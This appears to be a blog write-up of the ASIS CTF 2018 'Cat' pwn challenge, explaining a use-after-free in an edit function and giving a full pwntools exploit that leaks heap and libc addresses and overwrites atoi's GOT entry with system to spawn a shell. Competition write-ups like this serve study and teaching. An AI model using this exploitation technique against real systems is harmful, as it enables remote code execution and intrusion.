ASIS CTF 2018 Cat Write-up

Introduction

This is the only challenge I solve during the competition. It only involves some exploitation technique on Fastbin.

Vulnerability Analysis

struct data_node{
     char *name;
     char *kind;
     int age;
}

There exists a use-after-free vulnerability in the edit function. When starting to edit an entry, it will create a new data_node structure to store new data and assign it to a global variable ptr. But if the user chooses not to apply the change to the original data, the allocated chunks will be freed but the value in ptr is kept still. At this point, we have a dangling pointer to use.

Exploit Plan

The exploit development is a bit troublesome but makes no big trouble. I can first read the value of malloc and atoi to get the version of libc. According to our test, it is useing libc6_2.23-0ubuntu10_amd64.so in this challenge. Then we modify the value of atoi@plt to system to get the shell in the end.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("178.62.40.102", 6000);
    libc = ELF("./libc.so");
elif(DEBUG == 1):
    r = process("./cat");
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so");
elif(DEBUG == 2):
    r = process("./cat");
    gdb.attach(r, '''source ./script''');
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so");

def create(name, kind, age):
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil(">");
    r.sendline(name);
    r.recvuntil(">");
    r.sendline(kind);
    r.recvuntil(">");
    r.sendline(str(age));

def modify(index, name, kind, age, modify):
    r.recvuntil(">");
    r.sendline("2");
    r.recvuntil(">");
    r.sendline(str(index));
    r.recvuntil(">");
    r.sendline(name);
    r.recvuntil(">");
    r.sendline(kind);
    r.recvuntil(">");
    r.sendline(str(age));
    r.recvuntil(">");
    r.sendline(modify);

def view_one(index):
    r.recvuntil(">");
    r.sendline("3");
    r.recvuntil(">");
    r.sendline(str(index));

def delete(index):
    r.recvuntil(">");
    r.sendline("5");
    r.recvuntil(">");
    r.sendline(str(index));

def exploit():
    create("AAAA", "aaaaaaaa" + "\x31", 10);  #0
    create("BBBB", "bbbb", 11);  #1
    create("CCCC", "cccc", 12);  #2
    
    delete(1);
    delete(2);


    modify(0, "JUNK1", "junk1", 20, 'n');

    modify(0, "JUNK2", "junk2", 21, 'n');

    create(p32(0x6020f0), p32(0x6020f0), 30);  #1

    view_one(1);

    r.recvuntil("name: ");
    leaked = r.recvuntil('\x0a');
    leakedValue = u32(leaked[:-1]);
    log.info("Leaked value: 0x%x" % leakedValue);
    heapAddr = leakedValue - 0xd0;
    log.info("Heap Addr: 0x%x" % heapAddr);

    modify(0, p64(heapAddr+0x10), "junk3", 31, 'n');

    create("Trigger", p64(0x602018) + p64(0x602068), 40);
    view_one(0);
    r.recvuntil("name: ");
    leaked =r.recv(6);
    freeAddr = u64(leaked + "\x00\x00");
    r.recvuntil("kind: ");
    leaked =r.recv(6);
    atoiAddr = u64(leaked + "\x00\x00");
    log.info("Free Addr: 0x%x" % freeAddr);
    log.info("Atoi Addr: 0x%x" % atoiAddr);

    libcBase = freeAddr - libc.symbols['free'];
    log.info("Libc Base Addr: 0x%x" % libcBase);
    systemAddr = libcBase + libc.symbols['system'];
    log.info("System Addr: 0x%x" % systemAddr);
    
    r.recvuntil(">");
    r.sendline("2");
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil(">");
    r.sendline("ABCDEF");
    r.recvuntil(">");
    r.sendline(p64(systemAddr));
    r.recvuntil(">");
    r.sendline("sh;");
   
    r.interactive();

exploit();
Advertisements
Categories: pwn

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.